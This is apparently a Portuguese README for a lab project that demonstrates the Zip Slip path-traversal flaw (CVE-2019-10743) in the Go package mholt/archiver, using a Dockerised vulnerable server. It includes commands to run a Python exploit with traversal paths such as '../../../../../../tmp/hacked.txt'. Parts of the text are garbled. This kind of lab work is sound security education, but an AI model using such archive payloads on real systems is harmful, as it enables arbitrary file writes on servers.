
Exploração de prova de conceito demonstrando a vulnerabilidade Zip Slip (CVE-2019-10743) no mholt/archiver, com um servidor vulnerável e payload Python para teste de path traversal.
Este projeto demonstra a vulnerabilidade Zip Slip (CVE-2019-10743) usando a versão vulnerável do pacote mholt/archiver.
Zip Slip é uma vulnerabilidade que foi descoberta pelos pesquisadores de segurança da Snyk. Foi constatado que a vulnerabilidade está impactando vários pacotes que estão sendo usados em produção. A vulnerabilidade pode ser explorada de forma que leve a problemas como:
mholt/archiver é um pacote Go que fornece uma API simples e consistente para trabalhar com arquivos de arquivo e arquivos compactados. Ele suporta formatos como , , , ou .
.zip.tar.tar.gz.7z.rarmholt/archiver../../../../../tmp/hacked.txt)# Start the vulnerable server
./docker-run.sh start
# Stop the server
./docker-run.sh stop
# View logs
./docker-run.sh logs
# Clean up
./docker-run.sh cleanup
Observação: Certifique-se de que o docker-run.sh tenha permissões de execução:
# Give execution rights
chmod +x ./docker-run.sh
Após o contêiner estar ativo e em execução, você pode usar um comando semelhante a este para acessar o ambiente de teste:
# Connect to the container that is running the application
docker exec -it zipslip-vulnerable-server /bin/bash
# Install Python dependencies
pip3 install -r requirements.txt
# Execute the payload
python3 test_exploit.py -p "../../../../../../tmp/hacked.txt" -c "You were pwned!"
Nota: Os comandos devem ser executáveis dentro do contêiner.
-u, --url: URL do servidor (padrão: http://localhost:8080)-z, --zip: Nome do arquivo ZIP (padrão: malicious_test.zip)-p, --path: Nome do arquivo com path traversal (padrão: ../../../malicious_escaped.txt)-c, --content: Conteúdo do arquivomholt/archiver